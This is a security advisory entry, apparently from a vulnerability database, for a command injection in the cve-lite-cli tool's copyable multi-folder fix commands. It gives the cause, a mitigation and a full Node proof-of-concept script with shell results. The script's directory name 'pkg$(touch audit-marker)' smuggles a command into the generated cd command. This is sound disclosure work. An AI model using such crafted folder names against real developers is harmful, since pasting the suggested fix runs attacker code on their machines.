취약점 데이터베이스GHSA-5r8q-h59x-3m7v

GHSA-5r8q-h59x-3m7v: 
JavaScript 취약점 분석 및 완화

Confirmed command injection in copyable multi-folder fix commands

Tested 2026-11-06 at commit d27c6bac279cd5b9f36b0ac475d8e99aa42dbf2e (package version 1.41.0 in the checkout), Node v24.19.0. Separately packaged releases and earlier versions were not tested.

Verified result

The actual built CLI scanned a disposable project with two nested npm lockfiles and generated an HTML report. One directory was literally named pkg$(touch audit-marker); the other was normal. A synthetic advisory in an isolated offline database supplied an axios upgrade target. The HTML report's Copy button contained this exact command:

cd pkg$(touch audit-marker) && npm install axios@1.8.0

Executing this generated command in each of /bin/sh, /bin/bash and /bin/zsh created the harmless audit-marker file in the temporary project root. The substitution executes before cd. Consequently the proof succeeds even though cd then fails because the expanded directory pkg does not exist. The command's exit status was 1, but the injected action had already executed. Two controls passed in each shell: executing the normal-folder command created no marker; quoting the malicious directory as a single literal string created no marker and successfully entered the actual directory. Nine shell cases passed assertions. npm was stubbed with a shell function, so no packages or lifecycle scripts were executed. The marker was absent after scanning and before executing the suggested command. This is user-assisted command injection through generated remediation output (CWE-78), not execution merely by scanning or clicking Copy. The browser itself was not automated; the test extracted the real HTML Copy button's data-cmd value, decoded HTML entities, and executed that value in a shell.

Cause and prerequisites

src/parsers/multi-package.ts discovers actual repository subfolder names. src/scan/multi-folder-scan.ts supplies those names to buildSuggestedFixCommandPlan. src/remediation/fix-commands.ts at line 554 constructs cd ${options.subfolder} && without shell quoting. That prefix reaches the HTML copyable command. An attacker must control a scanned repository's directory structure, trigger multi-folder mode (no root lockfile and two or more discovered nested lockfiles), and have a finding with a suggested fix in the malicious folder. A developer must paste/run the suggestion. The offline synthetic advisory is a deterministic testing fixture, not an additional attack primitive claimed against a victim.

Mitigation

Quote subfolder paths using the existing shell-quoting helper and handle option-like directory names. Add regression coverage for substitutions, separators, quotes and spaces. Keep shell execution controls proving that quoting prevents execution.

Reproduction and evidence

Build the tested source checkout, then run:

node check-subfolder-injection.mjs /absolute/path/to/checkout

The script creates all fixtures under a new temporary directory. Captured results are saved to subfolder-injection-evidence.json next to the script. Prepared for private vulnerability reporting.

Source references

Standalone reproduction

Save this script as check-subfolder-injection.mjs. Check out commit d27c6bac279cd5b9f36b0ac475d8e99aa42dbf2e, install dependencies and build (npm ci && npm run build), then run node check-subfolder-injection.mjs /absolute/path/to/checkout. It uses temporary files and stubs npm to avoid installs. It asserts the scan alone creates no marker, the generated command creates one, and both ordinary and correctly quoted commands do not.

import fs from 'node:fs';
import os from 'node:os';
import path from 'node:path';
import {pathToFileURL} from 'node:url';
import {spawnSync} from 'node:child_process';
import assert from 'node:assert/strict';
const repo = path.resolve(process.argv[2] || process.cwd());
const {LocalAdvisoryDatabase} = await import(pathToFileURL(path.join(repo, 'dist/advisory/local-db.js')));
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'cve-subfolder-proof-'));
const project = path.join(root, 'project');
const marker = 'audit-marker';
const malicious = 'pkg$(touch audit-marker)';
fs.mkdirSync(project);
for (const dir of [malicious, 'normal']) {
  const target = path.join(project, dir);
  fs.mkdirSync(target);
  fs.writeFileSync(path.join(target, 'package.json'), JSON.stringify({name: 'audit-fixture', version: '1.0.0', dependencies: {axios: '1.7.7'}}));
  fs.writeFileSync(path.join(target, 'package-lock.json'), JSON.stringify({name: 'audit-fixture', lockfileVersion: 3, packages: {'': {dependencies: {axios: '1.7.7'}}, 'node_modules/axios': {version: '1.7.7'}}}));
}
const dbPath = path.join(root, 'advisories.db');
const db = new LocalAdvisoryDatabase(dbPath);
db.upsertVulnerability({id: 'GHSA-audit-test-only', summary: 'Synthetic local test fixture', database_specific: {severity: 'HIGH'}, affected: [{package: {name: 'axios', ecosystem: 'npm'}, ranges: [{type: 'SEMVER', events: [{introduced: '0'}, {fixed: '1.8.0'}]}]}]});
db.setMetadata({lastSyncAt: new Date().toISOString(), sourceUrl: 'local-test-fixture'});
db.close();
const reportDir = path.join(root, 'report');
const args = [path.join(repo, 'dist/index.js'), '.', '--offline-db', dbPath, '--cache-dir', path.join(root, 'cache'), '--report=' + reportDir, '--no-open'];
const scan = spawnSync(process.execPath, args, {cwd: project, env: {...process.env, CI: 'true', NO_UPDATE_NOTIFIER: '1'}, encoding: 'utf8', timeout: 30000});
assert.equal(scan.status, 0, scan.stderr + scan.stdout);
assert(!fs.existsSync(path.join(project, marker)), 'Scanning alone must not execute the marker');
const html = fs.readFileSync(path.join(reportDir, 'index.html'), 'utf8');
const decode = s => s.replace(/&quot;/g, '"').replace(/&#39;/g, "'").replace(/&lt;/g, '<').replace(/&gt;/g, '>').replace(/&amp;/g, '&');
const commands = [...html.matchAll(/data-cmd="([^"]*)"/g)].map(m => decode(m[1]));
const command = commands.find(c => c.startsWith('cd ' + malicious + ' && '));
const normal = commands.find(c => c.startsWith('cd normal && '));
assert(command, 'Expected real HTML Copy button to contain the malicious subfolder command');
assert(normal, 'Expected normal subfolder command');
const quote = s => "'" + s.replace(/'/g, "'\\''") + "'";
const fixedCommand = command.replace('cd ' + malicious + ' && ', 'cd ' + quote(malicious) + ' && ');
const results = [];
for (const shell of ['/bin/sh', '/bin/bash', '/bin/zsh'].filter(p => fs.existsSync(p))) {
  for (const [name, cmd, expected] of [['generated', command, true], ['normal-control', normal, false], ['quoted-control', fixedCommand, false]]) {
    fs.rmSync(path.join(project, marker), {force: true});
    // Stub npm so no real package installation or lifecycle script can run.
    const executed = spawnSync(shell, ['-c', 'npm() { :; }; ' + cmd], {cwd: project, encoding: 'utf8', timeout: 5000});
    const markerCreated = fs.existsSync(path.join(project, marker));
    assert.equal(markerCreated, expected, shell + ': ' + name);
    results.push({shell, name, command: cmd, markerCreated, exitCode: executed.status, stderr: executed.stderr});
  }
}
const evidence = {testedCommit: 'd27c6bac279cd5b9f36b0ac475d8e99aa42dbf2e', node: process.version, root, scan: {status: scan.status, stdout: scan.stdout, stderr: scan.stderr}, markerAbsentAfterScan: true, results};
fs.writeFileSync(new URL('./subfolder-injection-evidence.json', import.meta.url), JSON.stringify(evidence, null, 2));
console.log(JSON.stringify({root, markerAbsentAfterScan: true, results}, null, 2));

Captured shell results

{
  "markerAbsentAfterScan": true,
  "results": [
    {
      "shell": "/bin/sh",
      "name": "generated",
      "command": "cd pkg$(touch audit-marker) && npm install axios@1.8.0",
      "markerCreated": true,
      "exitCode": 1,
      "stderr": "/bin/sh: line 0: cd: pkg: No such file or directory\n"
    },
    {
      "shell": "/bin/sh",
      "name": "normal-control",
      "command": "cd normal && npm install axios@1.8.0",
      "markerCreated": false,
      "exitCode": 0,
      "stderr": ""
    },
    {
      "shell": "/bin/sh",
      "name": "quoted-control",
      "command": "cd 'pkg$(touch audit-marker)' && npm install axios@1.8.0",
      "markerCreated": false,
      "exitCode": 0,
      "stderr": ""
    },
    {
      "shell": "/bin/bash",
      "name": "generated",
      "command": "cd pkg$(touch audit-marker) && npm install axios@1.8.0",
      "markerCreated": true,
      "exitCode": 1,
      "stderr": "/bin/bash: line 0: cd: pkg: No such file or directory\n"
    },
    {
      "shell": "/bin/bash",
      "name": "normal-control",
      "command": "cd normal && npm install axios@1.8.0",
      "markerCreated": false,
      "exitCode": 0,
      "stderr": ""
    },
    {
      "shell": "/bin/bash",
      "name": "quoted-control",
      "command": "cd 'pkg$(touch audit-marker)' && npm install axios@1.8.0",
      "markerCreated": false,
      "exitCode": 0,
      "stderr": ""
    },
    {
      "shell": "/bin/zsh",
      "name": "generated",
      "command": "cd pkg$(touch audit-marker) && npm install axios@1.8.0",
      "markerCreated": true,
      "exitCode": 1,
      "stderr": "zsh:cd:1: no such file or directory: pkg\n"
    },
    {
      "shell": "/bin/zsh",
      "name": "normal-control",
      "command": "cd normal && npm install axios@1.8.0",
      "markerCreated": false,
      "exitCode": 0,
      "stderr": ""
    },
    {
      "shell": "/bin/zsh",
      "name": "quoted-control",
      "command": "cd 'pkg$(touch audit-marker)' && npm install axios@1.8.0",
      "markerCreated": false,
      "exitCode": 0,
      "stderr": ""
    }
  ]
}

소스: NVD

관련 JavaScript 취약점:

CVE ID

심각도

점수

기술

구성 요소 이름

CISA KEV 악용

수정 사항이 있습니다

출판일

CVE-2026-92684HIGH8.7
  • JavaScript logoJavaScript
  • @neo4j/graphql
아니요네Nov 10, 2026
GHSA-757f-98qv-fvxgHIGH해당 없음
  • JavaScript logoJavaScript
  • @glapsfun/gskill
아니요네Nov 10, 2026
GHSA-9p4p-3p2f-q7h8LOW해당 없음
  • JavaScript logoJavaScript
  • sharedb
아니요네Nov 10, 2026
GHSA-c8j3-f9pr-q5jgMEDIUM해당 없음
  • JavaScript logoJavaScript
  • cve-lite-cli
아니요네Nov 10, 2026
GHSA-5r8q-h59x-3m7vMEDIUM해당 없음
  • JavaScript logoJavaScript
  • cve-lite-cli
아니요네Nov 10, 2026

무료 취약점 평가

클라우드 보안 포세를 벤치마킹하세요

9개 보안 영역에서 클라우드 보안 관행을 평가하여 위험 수준을 벤치마킹하고 방어의 허점을 파악하세요.

요청 평가

추가 Wiz 리소스

맞춤형 데모를 받아보세요

맞춤형 데모 신청하기

"내가 본 최고의 사용자 경험은 클라우드 워크로드에 대한 완전한 가시성을 제공합니다."
데이비드 에슬릭CISO
"Wiz는 클라우드 환경에서 무슨 일이 일어나고 있는지 볼 수 있는 단일 창을 제공합니다."
아담 플레처최고 보안 책임자(CSO)
"우리는 Wiz가 무언가를 중요한 것으로 식별하면 실제로 중요하다는 것을 알고 있습니다."
그렉 포니아토프스키위협 및 취약성 관리 책임자